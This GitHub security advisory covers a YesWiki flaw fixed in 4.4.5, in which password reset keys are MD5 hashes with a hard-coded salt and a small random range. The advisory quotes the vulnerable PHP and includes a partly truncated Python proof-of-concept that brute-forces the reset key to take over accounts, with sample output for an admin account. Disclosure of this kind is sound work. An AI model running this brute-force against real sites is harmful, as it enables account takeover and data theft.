GHSA-4fvx-h823-38v3 YesWiki Uses a Broken or Risky Cryptographic Algorithm

• Packagist yeswiki/yeswiki: < 4.4.5 → fixed in 4.4.5

Summary The use of a weak cryptographic algorithm and a hard-coded salt to hash the password reset key allows it to be recovered and used to reset the password of any account. Details Firstly, the salt used to hash the password reset key is hard-coded in the `includes/services/UserManager.php` file at line `36` : ```php private const PW_SALT = 'FBcA'; ``` Next, the application uses a weak cryptographic algorithm to hash the password reset key. The hash algorithm is defined in the `includes/services/UserManager.php` file at line `201` : ```php protected function generateUserLink($user) { // Generate the password recovery key $key = md5($user['name'] . '_' . $user['email'] . random_int(0, 10000) . date('Y-m-d H:i:s') . self::PW_SALT); ``` The key is generated from the user's name, e-mail address, a random number between 0 and 10000, the current date of the request and the salt. If we know the user's name and e-mail address, we can retrieve the key and use it to reset the account password with a bit of brute force on the random number. Proof of Concept (PoC) To demonstrate the vulnerability, I created a python script to automatically retrieve the key and reset the password of a provided username and email. ```python !/usr/bin/env python3 -*- coding: utf-8 -*- Author: Nishacid YesWiki Bienvenu.e' in response.text or 'Welcome' in response.text: return (True, random_int_val, hash_candidate, url) return (False, random_int_val, None, None) def main(timestamp_req: str, domain: str, username: str, email: str): # Launch the brute-force print(f"[*] Starting brute-force, it can take few minutes...") with ThreadPoolExecutor(max_workers=WORKERS) as executor: futures = [executor.submit(check_key, i, timestamp_req, domain, username, email) for i in range(random_range + 1)] for future in as_completed(futures): success, random_int_val, hash_candidate, url = future.result() if success: print(f"[+] Key found ! random_int: {random_int_val}, hash: {hash_candidate}") print(f"[+] URL: {url}") exit() else: print("[-] Key not found.") if __name__ == "__main__": args = parseArgs() timestamp_req = reset_password(args.email, args.domain) main(timestamp_req, args.domain, args.username, args.email) ``` Simply run this script with the arguments `-u` for the username, `-e` for the email and `-d` for the target domain. ```bash » python3 expoit.py --username 'admin' --email '[email protected]' --domain 'http://localhost/' [*] Requesting link for [email protected] at 2024-10-30 10:46:48 [*] Starting brute-force, it can take few minutes... [+] Key found ! random_int: 9264, hash: 22a2751f50ba74b259818394d34020c9 [+] URL: http://localhost/?MotDePassePerdu&a=recover&email=22a2751f50ba74b259818394d34020c9&u=YWRtaW4K ``` Impact Many impacts are possible, the most obvious being account takeover, which can lead to theft of sensitive data, modification of website content, addition/deletion of administrator accounts, user identity theft, etc. Recommendation The safest solution is to replace the salt with a random one and the hash algorithm with a more secure one. For example, you can use random bytes instead of a random integer.